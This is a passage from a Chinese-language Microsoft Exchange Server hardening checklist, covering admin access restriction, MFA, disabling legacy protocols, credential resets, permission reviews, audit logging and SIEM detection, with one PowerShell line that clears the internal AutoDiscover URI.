    - Get-ExchangeServer | Get-ClientAccessService | Set-ClientAccessService -AutoDiscoverServiceInternalUri $null
[ ] 管理接口 (EAC) 仅限内网访问
[ ] Exchange Admin Center 已启用 MFA
[ ] Remote PowerShell 已限制为特定管理 IP
[ ] 已禁用不必要的协议（IMAP, POP, 旧版 RPC-over-HTTP）
[ ] 已禁用 Exchange UM（如不需要）
[ ] 已检查并清除 Web Shell 和后门
[ ] 已重置所有 Exchange 服务账号密码
[ ] 已重置所有管理员密码
[ ] 已审查 Exchange AD 安全组成员
    - Organization Management
    - Exchange Trusted Subsystem
    - Exchange Windows Permissions
    - Exchange Servers
[ ] 已审查 FullAccess / SendAs 邮箱权限
[ ] 已审查 Transport Rule 和 Inbox Rule
[ ] 已审查 Federation Trust 和 OAuth 配置
[ ] 已启用 Exchange Admin Audit Log
[ ] 已启用 IIS 日志（含完整 URI + Query String）
[ ] 已配置 SIEM 规则检测 SSRF / Web Shell / NTLM Relay
[ ] 已建立 Exchange 安全基线
[ ] 已建立 Exchange 应急响应预案
[ ] 已订阅 MSRC 安全公告通知
[ ] 已实施网络分段策略
[ ] Exchange 服务器不直接暴露 RDP 到互联网
[ ] SMTP 出站已配置 SPF/DKIM/DMARC
[ ] 已禁用 Basic Authentication（所有协议）
[ ] NTLM 出站已通过组策略限制
[ ] LDAP Signing 和 LDAP Channel Binding 已强制启用